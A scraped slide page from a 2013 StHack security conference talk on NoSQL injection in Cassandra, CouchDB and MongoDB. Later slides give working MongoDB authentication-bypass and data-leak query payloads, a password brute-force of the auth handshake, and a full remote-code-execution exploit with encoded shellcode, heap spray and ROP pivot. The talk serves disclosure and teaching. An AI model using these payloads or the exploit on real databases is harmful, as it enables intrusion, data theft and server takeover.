StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection

40 %
60 %
Information about StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL...
Technology

Published on March 19, 2014

Author: sth4ck

Source: slideshare.net

Description

La mouvance NoSQL fait de plus en plus parler d'elle. La plupart du temps open source, les implémentations sont nombreuses et offrent des alternatives intéressantes à la rigidité du SQL. Malheureusement ces diverses solutions NoSQL (MongoDB, CouchDB, Cassandra...) débarquent avec NoSecurity. Nous verrons que, tout comme le SQL, une mauvaise utilisation des clients/drivers peut avoir des conséquences tout aussi critique, si ce n'est plus...

No SQL injection but NoSQL Injection NoSecurity or not ? 1

2 Plans › What's/Why NoSQL ? › Work in progress › Cassandra › CouchDB › Mass pwnage...

3 NoSQL fashion way of life › Database system › ''Not only SQL'' › More simple › Flexible Schema › Easier scalability/replication › No SQL language › Young and hipster

4 NoSQL Hipsters

5 Cassandra › Key-Value based › Java › HomeMade Protocol › Port 9160 › SSL available › Authentication available › CQL

6 Cassandra › Let's find CQL injection › Cassandra model › Keyspace (=database) › ColumnFamily (=table) › Key with no fixed Columns › OR 1=1 ?

7 Cassandra › WHERE CONDITION › No OR › No UNION › No subrequests › Term must be indexed columns

8 To be continued...

9 CouchDB › Documents based › Erlang › RESTfull protocol › SSL available › Port 5984 › Authentication available › Javascript based

10 CouchDB - RESTfull › Use HTTP protocol only › GET, PUT, POST, DELETE... › curl -X PUT http://localhost:5984/test/ › curl -X POST http://localhost:5984/test/ -H "Content-Type: application/json" -d {name : 'value'} › curl -X GET http://localhost:5984/test/_all_docs › curl -X DELETE http://localhost:5984/test/ › CSRF ? › SOP protected

11 CouchDB - Javascript › JSON documents › Special _design documents › views › shows › lists › validate_doc_update › All in JS › SSJI ?

12 CouchDB - SSJI › No function rewriting › No variable leak › _design leak curl -X GET http://localhost:5984/my_db/_design/articles/_show/eval/? test=JSON.stringify(this.validate_doc_update) "function(newDoc, oldDoc, userCtx) { if(newDoc.auth!='secret') { throw('NO!'); } }"

13 To be continued...

14 0day inside

15 mongoDB › Documents based › C/C++ › Home Made protocol › SSL available › Port 27017 › Authentication available › Javascript based

16 mongoDB – Home Made Protocol › Bson based › Challenge response authentication Nonce : e16fb6a8c31ac15a User : agix Key : 3f5c7a073c3fb54c96b860b7f397bfc7

17 ./src/mongo/client/dbclient.cpp Nonce : e16fb6a8c31ac15a User : agix Key : 3f5c7a073c3fb54c96b860b7f397bfc7

18 mongoDB – Home Made Protocol key=md5(nonce+username+md5(username+':mongo :'+clearPassword)) Bruteforce ! md5('agix:mongo:toto')='1fdea392256218a5f3afa9918733fab4' md5('e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4')= e16fb6a8c31ac15aagix1fdea392256218a5f3afa9918733fab4!=key md5('agix:mongo:password')='725d67fffa6b8fc54b6950407f9dc810' md5('e16fb6a8c31ac15aagix725d67fffa6b8fc54b6950407f9dc810')= '3f5c7a073c3fb54c96b860b7f397bfc7'==key Key : 3f5c7a073c3fb54c96b860b7f397bfc7

19 mongoDB – Associative Array › Database Collections Documents › Data manipulation with JSON array › db.my_collection.insert({key_name:"value",my_array:[1,2,3], my_assoc_array:{key1_name:"value",key2_name:"value"}}) › db.my_collection.find({key_name : "value"}) › Special KeyName : operator

20 mongoDB – operators › Only on update and find query › Conditions › Comparison ($gt, $in, $ne...) › Logical ($and, $or, $nor, $not) › Element ($exists, $type, $mod) › Javascript ($where, $regex) › › Data manipulation with JSON array › db.my_collection.find({key_name : {$exists:true, $in:[1,2,3]}})

21 mongoDB –

22 mongoDB – › $_POST is an array › login=test&pass=test => {'login' : 'test', 'pass' : 'test'} › $_POST can be an associative array › login[$ne]=test&pass[$ne]=test => {'login' : {'$ne' : 'test'}, 'pass' : {'$ne' : 'test'}}

23 mongoDB – › Authentication bypass › Informations leak ? › login[$regex]=^.{4}$&pass[$ne]=test => {'login' : {'$regex' : '^a.*'}, 'pass' : {'$ne' : 'test'}} › login[$regex]=^a.*$&pass[$ne]=test => {'login' : {'$regex' : '^a.*'}, 'pass' : {'$ne' : 'test'}}

24 mongoDB – › $regex to get actual document leak › More leak ? › $WHERE ! › $where=1==1&login[$exists]=test&pass[$exists]=test

25 mongoDB – Blind true/false based › db.getCollectionNames().length › db.getCollectionNames()[0][0] › tojson(db.secret.find({},{_id:0})[0])[3]

26 mongoDB – What else › Check javascript methods on mongo website › http://docs.mongodb.org/manual/reference/method/run/ › Let's check internal usage...

27 mongoDB – SSJI => RCE function apply() { [native code] } function () { return nativeHelper.apply(run_, arguments); } run nativeHelper.apply

28 ./src/mongo/scripting/engine_spidermonkey.cpp function apply() { [native code] } function () { return nativeHelper.apply(run_, arguments); } run nativeHelper.apply

29 mongoDB – SSJI => RCE $where=nativeHelper.apply({"x" : 0x31337}, [])&login[$exists]=test&pass[$exists]=test

30 mongoDB – Exploitation › JAVASCRIPT SERVER SIDE EXPLOIT ! › Write reliable exploit › 32 bits binary › NX bypass › ASLR bypass › Not stack overflow › No stack control › EIP is not enough

31 mongoDB – Exploitation db.my_collection.find({'$where':'tag=unescape("%udb31%ue3f7%u4353%u6a53%u8902%ub0e 1%ucd66%u9380%ub059%ucd3f%u4980%uf979%uac68%u9310%u6801%u0002%u697a %ue189%u66b0%u5150%ub353%u8903%ucde1%u5280%u2f68%u732f%u6868%u622f %u6e69%ue389%u5352%ue189%u0bb0%u80cd"); sizechunk=0x1000; chunk=""; for(i=0;i<sizechunk;i++){ chunk+=unescape("%u9090%u9090"); } chunk=chunk.substring(0, (sizechunk-tag.length)); testarray=new Array(); for(i=0;i<25000;i++){ testarray[i]=chunk+tag; } tag2=unescape("%uf768%u0816%u0c0c%u0c0c%u0000%u0c0c %u1000%u0000%u0007%u0000%u0031%u0000%uffff%uffff%u0000%u0000"); sizechunk2=0x1000; chunk2=""; for(i=0;i<sizechunk2;i++) { chunk2+=unescape("%u5a70%u0805"); } chunk2=chunk2.substring(0,(sizechunk2- tag2.length)); testarray2=new Array(); for(i=0;i<25000;i++){ testarray2[i]=chunk2+tag2; } nativeHelper.apply({"x" : 0x836e204}, ["A"+"x26x18x35x08"+"MongoSploit!"+"x58x71x45x08"+"sthack is a nice place to be"+"x6cx5ax05x08"+"x20x20x20x20"+"x58x71x45x08"]);','login':{$exists:'toto'},'pass': {$exists:'toto'}})

32 mongoDB – Exploitation › Land to the stack › PIVOT 1 › [Eax] => pointer+0xb => nativeHelper argument › Gadget 1 : Mov eax, [eax] … call [eax+0x1c] › nativeHelper argument is UTF8 encoded without null byte › eax+0x1c : gadget 2 : xchg esp, eax [inc esp], ret › Esp-1 => begining of nativeHelper argument › Gadget 3 : [inc esp] to clean stack control

33 mongoDB – Exploitation › Control the stack › UTF8 and no null byte in nativeHelper argument › PIVOT 2 => to the rop chain heap sprayed › Gadget 4 : pop eax, ... ret › Eax => rop chain in the heap (0x20202020) › Gadget 5 : xchg esp,eax … ret › RetSled › Stack control done !

34 mongoDB – Exploitation › Execute shellcode › First Heap Spray with nopsled+shellcode › mmap RWX the heap › Jump to the heap (0x0C0C0C0C) › Enjoy !

35 mongoDB – Exploitation › To improve › Heap spray is for pork ! › 64 bits exploit... (null byte :o :o :o) › Windows exploit › Multiple version exploit

36 The end › Still mongo 0day o/ › A lot of work to do... › NoSQL is not so bad !

Add a comment

Related presentations

Related pages

StHack 2013 - Florian "@agixid" Gaultier No SQL injection ...

Home; Technology; StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection
Read more

NoSQL, no SQL injections? - Technology

StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection
Read more